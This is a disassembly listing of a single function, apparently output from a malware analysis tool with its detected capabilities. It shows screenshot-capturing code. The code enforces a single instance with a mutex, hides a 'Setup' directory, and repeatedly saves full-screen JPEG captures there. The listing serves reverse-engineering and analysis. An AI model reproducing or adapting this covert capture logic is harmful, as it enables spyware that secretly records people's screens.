Function at 0x402037
Capabilities:
Capture screenshot
Check mutex and terminate process on windows
Check mutex on windows
Create directory
Get file attributes
Set file attributes
Terminate process

Disassembly:
push 0xa
push 0
push 0
call 0x402016
arpl word [eax + 0x72], bp
outsd dx, dword [esi]
insd dword es:[edi], dx
js 0x40207a
add al, ch
add eax, 0x6f000000
jo 0x402083
outsb dx, byte [esi]
add byte [edx], ch
call dword [sym.imp.SHELL32.DLL_ShellExecuteA]
call 0x402037
inc eax
xor dword [edx], esi
xor esi, dword [esi + 0x383736]
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x402058
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
push 0x2710
call dword [sym.imp.KERNEL32.DLL_Sleep]
inc ecx
push 0
push str.Setup
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
push 0
push 0x2000000
push 3
push 0
push 3
push 0xc0000000
push str.Setup
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ecx, eax
test ecx, ecx
push str.Setup
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
or eax, 6
push eax
push str.Setup
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 0
push 0x401046
push 0x401056
call dword [sym.imp.GDIPLUS.DLL_GdiplusStartup]
test eax, eax
push 0x401066
push 0x401062
call dword [sym.imp.GDIPLUS.DLL_GdipGetImageEncodersSize]
test eax, eax
jne 0x402224
push 4
push 0x1000
push dword [0x401066]
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
test eax, eax
je 0x402224
mov ebx, eax
push ebx
push dword [0x401066]
push dword [0x401062]
call dword [sym.imp.GDIPLUS.DLL_GdipGetImageEncoders]
test eax, eax
jne 0x402224
mov esi, dword [ebx + 0x30]
mov edi, str.image_jpeg
mov ecx, 0xb
repe cmpsw word [esi], word es:[edi]
je 0x402134
add ebx, 0x4c
dec dword [0x401062]
jne 0x402112
jmp 0x402224
lea esi, [ebx]
mov edi, 0x401036
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
push 0
call dword [sym.imp.USER32.DLL_GetDC]
test eax, eax
je 0x402224
mov esi, eax
push 1
call dword [sym.imp.USER32.DLL_GetSystemMetrics]
mov dword [0x40106e], eax
push 0
call dword [sym.imp.USER32.DLL_GetSystemMetrics]
mov dword [0x40106a], eax
push dword [0x40106e]
push dword [0x40106a]
push esi
call dword [sym.imp.GDI32.DLL_CreateCompatibleBitmap]
test eax, eax
je 0x40221b
mov ebx, eax
push esi
call dword [sym.imp.GDI32.DLL_CreateCompatibleDC]
test eax, eax
je 0x402214
mov edi, eax
push ebx
push edi
call dword [sym.imp.GDI32.DLL_SelectObject]
test eax, eax
je 0x40220d
push 0xcc0020
push 0
push 0
push esi
push dword [0x40106e]
push dword [0x40106a]
push 0
push 0
push edi
call dword [sym.imp.GDI32.DLL_BitBlt]
test eax, eax
je 0x40220d
push 0x40105e
push 0
push ebx
call dword [sym.imp.GDIPLUS.DLL_GdipCreateBitmapFromHBITMAP]
test eax, eax
jne 0x40220d
push 0
push 0x401036
push str.Setup__s.003
push dword [0x40105e]
call dword [sym.imp.GDIPLUS.DLL_GdipSaveImageToFile]
push dword [0x40105e]
call dword [sym.imp.GDIPLUS.DLL_GdipDisposeImage]
push edi
call dword [sym.imp.GDI32.DLL_DeleteObject]
push ebx
call dword [sym.imp.GDI32.DLL_DeleteObject]
push esi
push 0
call dword [sym.imp.USER32.DLL_ReleaseDC]
push dword [0x401056]
call dword [sym.imp.GDIPLUS.DLL_GdiplusShutdown]
jmp 0x402058